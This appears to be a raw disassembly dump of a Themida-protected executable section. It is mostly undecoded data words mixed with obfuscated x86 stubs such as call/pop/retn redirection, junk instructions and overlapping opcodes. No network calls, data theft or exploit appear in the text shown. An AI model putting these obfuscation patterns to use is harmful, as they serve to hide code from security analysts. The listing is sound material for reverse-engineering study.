0E9C0EE26h, 5E98322h, 0D98BA4F3h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0AAC35040h, 0B58B5C15h dd 62822F5h, 54E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 2F1C3098h, 175136DCh dd 8850Fh, 0F600000h, 81h, 0E9616100h, 0Eh, 673A6DEEh dd 2B2601F4h, 0F6E1AF40h, 0FC318FAh, 88Ch, 2850F00h, 60000000h dd 6AC08B61h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0A0E8C353h, 7880Fh, 0F600000h dd 0F98BF3BFh, 0C18B6061h, 0BD8361FCh, 6280149h, 83097500h dd 2814C5BDh, 19740006h, 0C08B5350h, 4B9B8h, 55858900h dd 8D06282Eh, 2AA5C59Dh, 5BD3FF06h, 0C5BD8358h, 62814h dd 53501774h, 4B9B8h, 55858900h, 8D06282Eh, 2AA2669Dh dd 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 14B95DA5h, 3A2E624Ah, 8060915Ah dd 13E994C3h, 7B000000h, 0B3C4D39Bh, 0BE431613h, 0E82EC002h dd 76329EBh, 6A61C02Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0EC47C357h, 0BF49A384h dd 671DA23Bh, 0C3BF0F60h, 6AC08B61h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0B89CC350h dd 118E0F67h, 0E9000000h, 0Ch, 981DEDC0h, 0DE2EDE72h, 6C2DFBB2h dd 0C18B40F9h, 32159D89h, 14E90628h, 87000000h, 354EC3A7h dd 7B802614h, 0B31F8315h, 4576401Ch, 0EB228382h, 4, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 5D1E76BBh, 858DFCA4h, 6282C05h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 18C35343h, 35E14C58h, 0A148095Dh dd 0CE8F0h, 98BD0000h, 3F492312h, 0AC68B2EDh, 0E95FBBECh dd 0Ah, 0B96B5652h, 4C1F769Ah, 5190063Eh, 2830Fh, 5E560000h dd 11E9505Eh, 5B000000h, 0C7178C55h, 33C13124h, 605E4AC8h dd 0F63B1D7h, 0D9B58B90h, 66062817h, 0F3E5D681h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0ACA8A1C3h, 0EE81812Ch, 573EA5Eh, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 5C7E3AC3h dd 2F18F2C5h, 0BD2900B8h, 6281FD1h, 0BC21858Dh, 67BF062Bh dd 83724FA5h, 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0A589BEC3h, 16D7DFC1h, 5650897Fh dd 895FF28Bh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 8EEFC3h, 6A5580h, 6A006Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 6AEEACC3h, 1D89B58Bh, 95FF0628h, 6282431h, 2221BD8Bh dd 9D8D0628h, 62B94F3h, 0F826C681h, 0D3FF5361h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F4C35747h, 22CD8D89h dd 85FF0628h, 6281659h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 7CC35646h, 0EB43999Eh, 3D8CBBFAh, 334D9D89h dd 0CDE90628h, 0E8000006h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 62BBC2Bh jmp loc_584F83 ; --------------------------------------------------------------------------- dd 711E42FFh ; --------------------------------------------------------------------------- sbb ebx, 0FFFFFFA3h loc_584F83: ; CODE XREF: Themida_:00584F77j mov esi, 4C86EA9h cmp dword ptr [ebp+6280DC1h], 7D0h jbe loc_585105 mov di, 28C0h mov ebx, [ebp+6283331h] mov [ebp+62814B5h], esi mov edi, [ebp+6281E3Dh] and ebx, 100h jl loc_584FBD movzx edi, ax loc_584FBD: ; CODE XREF: Themida_:00584FB4j movsx edi, si or ebx, ebx jnz loc_5850A5 push 0 push ecx call sub_584FD3 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_584FD3 proc near ; CODE XREF: Themida_:00584FCBp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_584FD3 endp ; --------------------------------------------------------------------------- dec edi sal byte ptr ds:0BF662076h, 0FEh inc eax jmp loc_585000 ; --------------------------------------------------------------------------- db 18h, 27h, 1Dh dd 9B74FA5Ah, 2BA6F3BAh, 6E0D71C0h ; --------------------------------------------------------------------------- loc_585000: ; CODE XREF: Themida_:00584FECj cmp dword ptr [ebp+62BBA40h], 0 jz loc_585072 push 0 push eax call sub_585018 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585018 proc near ; CODE XREF: Themida_:00585010p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_585018 endp ; --------------------------------------------------------------------------- dd 1B29CE4h, 0FB47874h, 685h, 9B50B00h, 0E906281Fh, 8Ch dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 24C35343h dd 5D12FAB0h, 19399D89h, 840F0628h, 6, 21818D29h ; --------------------------------------------------------------------------- sub [esi], al loc_585072: ; CODE XREF: Themida_:00585007j mov dword ptr [ebp+62BBA40h], 1 push 0 push edi call sub_585087 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585087 proc near ; CODE XREF: Themida_:0058507Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_585087 endp ; --------------------------------------------------------------------------- db 40h dd 3C2B12D0h, 2BE9h, 16BF6600h db 3Ch ; --------------------------------------------------------------------------- loc_5850A5: ; CODE XREF: Themida_:00584FC2j mov dword ptr [ebp+62BBA40h], 0 push 0 push ebx call sub_5850BA and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5850BA proc near ; CODE XREF: Themida_:005850B2p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5850BA endp ; --------------------------------------------------------------------------- dw 0AF29h dd 33319D8Dh, 7E80628h, 0F8000000h, 89A73A4h, 0BF0F19E1h dd 23815EF2h, 0FFFFFEFFh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 75C35646h db 8 ; --------------------------------------------------------------------------- loc_585105: ; CODE XREF: Themida_:00584F92j mov bx, ds push 0 push ebp call sub_585113 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585113 proc near ; CODE XREF: Themida_:0058510Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_585113 endp ; --------------------------------------------------------------------------- push cs mov edx, 3EB4B7E8h db 3Eh add al, dl push edx push esi mov esi, eax pop esi test bl, 4 jz loc_585191 mov di, si call dword ptr [ebp+62803FDh] push 0 push esi call sub_58514E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58514E proc near ; CODE XREF: Themida_:00585146p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_58514E endp ; --------------------------------------------------------------------------- dw 0DB44h dd 8B0FAF72h, 6, 2318D29h, 50900628h, 90F78B66h, 6850F60h dd 8B000000h, 2821CDBDh, 8E806h, 630B0000h, 75DC04A9h dd 58F83ED3h ; --------------------------------------------------------------------------- popa loc_585191: ; CODE XREF: Themida_:00585134j jmp loc_585535 ; --------------------------------------------------------------------------- jmp loc_5851AC ; --------------------------------------------------------------------------- db 0DEh dd 0B3E37FF0h, 7737F00h, 0BFC778BDh, 914758A9h ; --------------------------------------------------------------------------- loc_5851AC: ; CODE XREF: Themida_:00585196j mov al, 0 push 0 push ecx call sub_5851B9 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5851B9 proc near ; CODE XREF: Themida_:005851B1p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5851B9 endp ; --------------------------------------------------------------------------- db 4, 3Ah, 28h dd 0E6AA9F0Dh, 0EE870h, 8C040000h, 9A277F14h, 0CB4AEF94h dd 4A191996h, 830F60h, 0E9000000h, 6, 0B1F030DCh, 5F61DB26h dd 816671E4h, 0FCCC5CFh, 6BAD8B6h, 57000000h, 6840Fh, 0BD2B0000h dd 6281931h, 6AC38B5Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0E814C357h, 4FCE1C81h dd 6A04E8C1h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 3A59C355h, 0DB589ABh, 0E9062805h dd 0Bh, 0F9CCDEE0h, 86E03E1Eh, 6604C6FEh, 6AE2F7h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0DCEE86C3h, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0F91DD4C3h, 95B9BCEDh, 61BD8BFAh dd 50062826h, 11E8h, 508A3500h, 0B9AA088Dh, 78C1D43Bh dd 0AB0C93FBh, 7BE6A74h, 5F124CC0h, 6A241C89h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 5366C352h, 0FF2D8FD0h, 280DC1B5h, 5E906h, 0AF750000h dd 0FF3A870Ch, 28046595h, 0F2BF0F06h, 0B70F00B0h, 0EE9F9h dd 4FAC0000h, 0FD01CD30h, 986EE83Bh, 33F5E5EDh, 525070E6h dd 830Fh, 5E5F0000h, 9D3171E4h, 6281665h, 830F613Ch, 1EDh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 6C35747h dd 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0C9C1C353h, 31D9D01h, 6BA0628h dd 0F000000h, 0C38BF3BFh, 19B50956h, 5F06281Eh, 304E8C1h dd 281FCDBDh, 0E2F76606h, 2681B58Bh, 0D82B0628h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 66C35747h, 1D80F83Eh dd 0C5B5290Dh, 5806280Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 2DC35646h, 8DBE34C8h, 0BE996h, 4A630000h dd 0DC3DF5E7h, 4331367Ch, 0FD82B83h, 12488h, 58B0F00h dd 0BE000000h, 3B4E18D3h, 7B9h, 0FB8B6600h, 0E900C183h dd 11h, 58F8267Ch, 0F21F3CACh, 377088DAh, 757CF1FFh, 0FD93B73h dd 0F086h, 54CE8100h, 665EE417h, 6AD98Ch, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B3A269C3h dd 833567B1h, 8166ADFFh, 0F64BFCD6h, 840F04C1h, 0ADh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 54C35747h, 0F879E9F7h dd 3FD95FFh, 8B600628h, 282B21B5h, 2D9D8B06h, 61062805h dd 50006A5Bh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 5C9614E5h, 81C32BFDh, 0B5674FE7h, 8343D3Eh dd 860F0000h, 45h, 10E9h, 20834800h, 928469Bh, 3877F4ADh dd 6E797F46h, 33E91Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 2B2828C3h, 958D8932h dd 8B062800h, 2828D9BDh, 89C08B06h, 281E5D95h ; --------------------------------------------------------------------------- push es loc_585535: ; CODE XREF: Themida_:loc_585191j mov eax, ebx mov ebx, eax mov si, bx mov dword ptr [ebp+62819F9h], 5BEAFBFBh mov eax, eax push 0 push edi call sub_585553 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585553 proc near ; CODE XREF: Themida_:0058554Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_585553 endp ; --------------------------------------------------------------------------- db 0DCh dd 0C1BD816Ah, 0D006280Dh, 0F000007h, 3F85h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 559D890Fh, 0FF062804h, 280DC185h, 0BE806h, 245F0000h dd 0CCBB3A49h, 2DB757A4h, 0FDBD8930h, 5E062801h, 0DC1B5FFh dd 10E80628h, 2A000000h, 0A4AF5D6Bh, 61DDF248h, 767AB50Ah dd 8BDD303Fh, 2814A9BDh, 95FF5E06h, 6280465h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0A8C35040h, 0AD554254h dd 78B89008h, 0BF123456h, 5BFB77A9h, 0C2B99D8Dh, 58E9062Bh dd 6AFFFFF9h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 310FC351h, 0B245665Ah, 49D2BE66h dd 0B5BFC18Bh, 0EB6B870Dh, 4, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0DE915h, 3E0C0000h dd 0C0CA44C6h, 14FE6426h, 6AB217D1h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 98ECC357h dd 2C05858Dh, 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0F3021C3h, 0BDBEE45Ch, 0E6819D29h dd 2F1A94B1h, 2B95B589h, 0F500628h, 1180h, 9E800h, 10260000h dd 6692444Eh, 564ECE8Dh, 4895F5Eh, 0D4B06024h, 0FEB46EBBh dd 6A6150h, 14E951h, 572A0000h, 6B429AEDh, 1CA20875h, 0FED4B221h dd 6A4CAB04h, 6A5F3F1Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0DDC97E71h, 46E8E306h dd 858D262Fh, 62BC4CCh, 8BFA8B66h, 282BCDBDh, 5C08306h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 58C35343h dd 0BB279621h, 8BF28BBBh, 282B75B5h, 48BE5006h, 892072C7h dd 0BF662404h, 6A9561h, 19119D89h, 0D7810628h, 4D70A3DAh dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0DC76D9C3h, 2C77480Fh, 95FF98A2h, 6282431h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0AEC35545h dd 92BD1157h, 0FE972645h, 94F39D8Dh, 6A062Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0FF54B4C3h dd 959D89D3h, 0FF062802h, 28165985h, 68A0F06h, 89000000h dd 2812A595h, 0F48E906h, 0E80000h, 5D000000h, 0C4D6ED81h dd 800F062Bh, 0Ch, 6800Fh, 0C6810000h, 75D26611h, 0DC1BD81h dd 7D00628h, 860F0000h, 16Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 0D0C35040h, 70EBC1B9h, 398D89F0h dd 8B062818h, 282BB59Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 9C424536h, 89F70DF0h dd 280C5D95h, 9E96006h, 20000000h, 917644A2h, 2930AB78h dd 68A0Fh, 8D290000h, 62802E5h, 5CF68161h, 811F1C3Eh, 100E3h dd 0F1B52300h, 0B06282Ch, 0AB850FDBh, 29000000h, 28272D8Dh dd 8D8B6006h, 62831D5h, 83617AB4h, 2BC2FCBDh, 840F0006h dd 39h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h dd 61C35747h, 0FC56CA8h, 580h, 0C7816600h, 7EE90736h, 60000000h dd 21159D33h, 0F38B0628h, 0FC85C761h, 1062BC2h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0FFDC352h, 0D6BFB6C3h, 0E9207970h, 41h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 21C35343h, 7B00CFFEh dd 85C75495h, 62BC2FCh, 0 ; --------------------------------------------------------------------------- jl loc_58598D movzx esi, di loc_58598D: ; CODE XREF: Themida_:00585984j jle loc_585999 mov edi, [ebp+628225Dh] loc_585999: ; CODE XREF: Themida_:loc_58598Dj lea ebx, [ebp+6282BB5h] pusha mov ebx, edx mov [ebp+62822D9h], edx popa and dword ptr [ebx], 0FFFFFEFFh mov di, 96CCh mov bx, ds call near ptr loc_5859C3+2 pop esi dec ecx lodsb fild qword ptr [eax] js short near ptr loc_5859C9+1 scasd loc_5859C3: ; CODE XREF: Themida_:005859B6p sbb [eax+14CDB503h], edx loc_5859C9: ; CODE XREF: Themida_:005859C0j sub [esi], al pop esi test bl, 4 jz loc_585A8D push 0 push esi call sub_5859E0 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5859E0 proc near ; CODE XREF: Themida_:005859D8p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5859E0 endp ; --------------------------------------------------------------------------- dd 0EE6CDB6Eh, 0EF81D02Ah, 53786A43h, 921BD8Bh, 95FF0628h dd 62803FDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 2EC35343h, 72AEFD32h, 8529AF04h, 62800B5h, 33099D89h dd 50900628h, 0BE525060h, 9BAB885h, 8E9310Fh, 0A2000000h dd 22108AF5h, 5ABF78C5h, 52506058h, 585A310Fh, 6161DDB1h dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 8B9D8078h, 280089BDh, 68A0F06h, 23000000h dd 282E91BDh ; --------------------------------------------------------------------------- push es loc_585A8D: ; CODE XREF: Themida_:005859CFj jmp loc_585ECA ; --------------------------------------------------------------------------- dw 0BD01h dd 62834B5h, 0B58900B0h, 6281E95h, 6A70E6h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 9F0A93C3h dd 6A71E4C1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 94B1C356h, 37A7FB5Ch, 0F781662Ch dd 0F51FF85h, 281h, 5F616000h, 66D8B60Fh, 89F16EBEh, 280DD9BDh dd 6BA06h, 0B70F0000h, 9C38BF1h, 28332D8Dh, 4E8C106h, 10E9h dd 0F0F7C500h, 0B4255CDEh, 2B67E54h, 0CDB17908h, 0E2F766F8h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 15C35141h dd 2E9FB1BBh, 0CD8D310Dh, 6606282Eh, 2BD19EBEh, 89BD03D8h dd 50062834h, 18860F50h, 0E8000000h, 12h, 54664B11h, 340F9830h dd 75867927h, 5D4AF1C5h, 5F5E8C38h, 6A241C89h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 7D19C352h, 0F0BF5831h, 6006A096h, 2949B589h, 858B0628h dd 6281035h, 0C1B5FF61h, 0F806280Dh, 46595FFh, 6A0628h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 20918EC3h, 0DAA1459h, 68E0F60h, 8B000000h, 282FA98Dh dd 0AA54BA06h, 0B06152EAh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0E272B4DBh dd 39BD8BD5h, 89062821h, 28263985h, 6A70E606h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 14B0C352h, 0D68166B3h, 71E4AA13h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0F1C35242h, 8DF75879h, 850FF38Bh dd 6, 74D2DF81h, 613C1C8Ch, 248830Fh, 0B60F0000h, 55006AD8h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0D1850939h, 0BA06282Eh, 6, 0DFD9509h, 0C38B0628h, 8D89F08Bh dd 6280EB9h, 6604E8C1h, 6AE2F7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0B2252AC3h, 89F98B10h dd 28294DBDh, 6AD82B06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 0AA37C353h, 0CD73ADCEh dd 6A587592h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 2BD8C350h, 281F55BDh, 0FD82B06h dd 19188h, 0F99D8900h, 0B9062818h, 7, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 63C35040h, 95319F5Eh, 62814C9h dd 6A00C183h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0D8F7C351h, 0E7815D04h, 358DC876h dd 860FD93Bh, 132h, 0E18CBE66h, 6AD98C66h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0BCFC351h dd 834F152Fh, 0BD0B0C19h, 6280331h, 0F04C1F6h, 0D284h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0BF9E6ACFh, 2E8D46E6h, 0FD95FF53h, 89062803h dd 28041585h, 0F5BF906h, 481h, 37BE6600h, 6AC32B38h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0C0CDC352h, 0B28E71C3h, 5958B60h, 0E8062805h, 8, 0D7CA1510h dd 0E07A47DBh, 17BDBD89h, 61580628h, 8343Dh, 4C860F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0DBECC356h, 0E973609Ah, 4Eh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0BEC35545h, 5E918h dd 30430000h, 8BD92011h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 0A00E6D7Ah, 66EAD44Eh ; --------------------------------------------------------------------------- mov edi, esi loc_585ECA: ; CODE XREF: Themida_:loc_585A8Dj mov eax, ebx mov ebx, eax push esi mov esi, 2E05D39Ah pop esi mov dword ptr [ebp+6283331h], 7FA21B3Bh push 0 push edi call sub_585EEA and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585EEA proc near ; CODE XREF: Themida_:00585EE2p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_585EEA endp ; --------------------------------------------------------------------------- push ebp dec edi retn ; --------------------------------------------------------------------------- mov edi, 1D6E9AECh mov eax, eax mov [ebp+6280EB9h], eax cmp dword ptr [ebp+6280DC1h], 7D0h jnz loc_585F29 jnb loc_585F23 movsx esi, bx loc_585F23: ; CODE XREF: Themida_:00585F1Aj inc dword ptr [ebp+6280DC1h] loc_585F29: ; CODE XREF: Themida_:00585F14j push dword ptr [ebp+6280DC1h] push 0 push edx call sub_585F3A and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_585F3A proc near ; CODE XREF: Themida_:00585F32p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_585F3A endp ; --------------------------------------------------------------------------- dw 1617h dd 2BED2EBFh, 95FFB301h, 6280465h, 3211B58Bh, 40900628h dd 0BD83FE8Bh, 6280CA9h, 0E840F00h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 3588C352h, 77C54B2Eh, 0B58992A3h, 628069Dh, 7FD78166h dd 61BD8308h, 62809h, 0D3840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 44BB72C3h dd 0A995FF29h, 0BF06280Ch, 1D053660h, 840FC00Bh, 0A1h dd 9E9h, 0F1986200h, 29DA1DA7h, 8D8DD61Ch, 6284F6Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 80C35646h, 84824C63h dd 9D8958E9h, 6281D85h, 5B8h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0FB724F1Eh dd 0E9B7B6EDh, 0Eh, 0FE0BD3Fh, 45D9318Ch, 3E87D03Bh, 0E1FF0E2Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 42C35141h dd 90E48ECBh, 0FF516EFh, 8Ch, 5DBD8300h, 62811h, 681840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 59F2ECC3h, 689537D6h, 0D6816669h, 14E86013h dd 0A7000000h, 991A332Bh, 0A52B2187h, 2CD23DDBh, 4A1CDDAFh dd 8B18D99Ah, 280635BDh, 0BD835E06h, 6280961h, 2C840F00h dd 89000006h, 280369BDh, 8DFE8B06h, 2834B98Dh, 0B6BF6606h dd 8401C704h, 0F44B27Ch, 686h, 61B58B00h, 81062822h, 99CFCB01h dd 57006A14h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0D0037725h, 1AE9261Fh, 8D293517h, 62803B9h dd 340441C7h, 0BFCE706Bh, 71F46B8Dh, 10044181h, 3131D6D7h dd 281769B5h, 0F88B6606h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0AC9523C3h, 0FE8h, 0B4A2F00h dd 0AB4138D8h, 4BF6804Bh, 5AAE556Dh, 5EF9BF0Fh, 34B9858Dh dd 13E80628h, 8D000000h, 0AD062F26h, 7B6CF6FBh, 3E72B861h dd 7085CDECh, 0B58B0D8Ah, 6282745h, 0BE66905Eh, 0F50D18Eh dd 384h, 0FE8B6600h, 89B58B90h, 0FF062814h, 28115D95h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0A7904CB9h, 1285BD8Bh, 8D8D0628h, 62834B9h dd 28A0F57h, 50000000h, 0B5895E5Fh, 6281FA5h, 1C7h, 0BD8B0000h dd 6283361h, 441C7h, 8B000000h, 282B95B5h, 0FC00B06h, 8B84h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 96F0BF58h, 0AE9h, 65F51F00h, 33D67D9Ch dd 8BAB0AD7h, 281479BDh, 6E8D8D06h, 6A06284Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 2FECC352h, 0B9B58B2Ch, 0B806280Eh, 5, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 19h, 21C35040h, 0F6E55431h dd 0BFE1FF26h, 5818591h, 34B98D8Dh, 0F7810628h, 65EB205Dh dd 727C01C7h, 6A44AAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 863B23C3h, 5F6EB957h, 2DA9BD8Bh dd 0BD8B0628h, 628030Dh, 0CFCB0181h, 6A1499h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 49C28AC3h dd 41C7FC58h, 78753C04h, 57006ACEh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 0C9CD08D6h, 81A21102h dd 0D7100441h, 6A31D6h, 2B85B58Bh, 858D0628h, 62834B9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 80C35141h dd 0E24F8EC4h, 0BD8D89D0h, 90062820h, 0CE8h, 0FD432B00h dd 0F5A03BF5h, 98BF7080h, 0BE6656A4h, 5F5F40F7h, 6A9050h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0CD561CC3h, 0B131F4D7h, 5D95FFB5h, 8D062811h, 2834B98Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 60089F7Bh, 81D1BF0Fh, 14B108F0h, 1C76109h dd 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5863FF and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5863FF proc near ; CODE XREF: Themida_:005863F7p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5863FF endp ; --------------------------------------------------------------------------- db 74h dd 6AAD0FE7h, 441C7h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 9786C351h, 396EAB5Eh dd 2D318589h, 81660628h, 0B50CCCFh, 0CE840FC0h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 7789C353h, 6E8D8DB7h, 6A06284Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 6045C357h, 0DFCF8160h, 0E901F3A0h, 5, 5B0AE789h, 12E8611Bh dd 11000000h, 0ECC8752Bh, 29D2A8B7h, 4C94A1C4h, 3214E11Dh dd 850FFBh, 5F000000h, 0E161BF61h, 5B808F1h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0F9FC352h, 8589F6BFh, 6280295h, 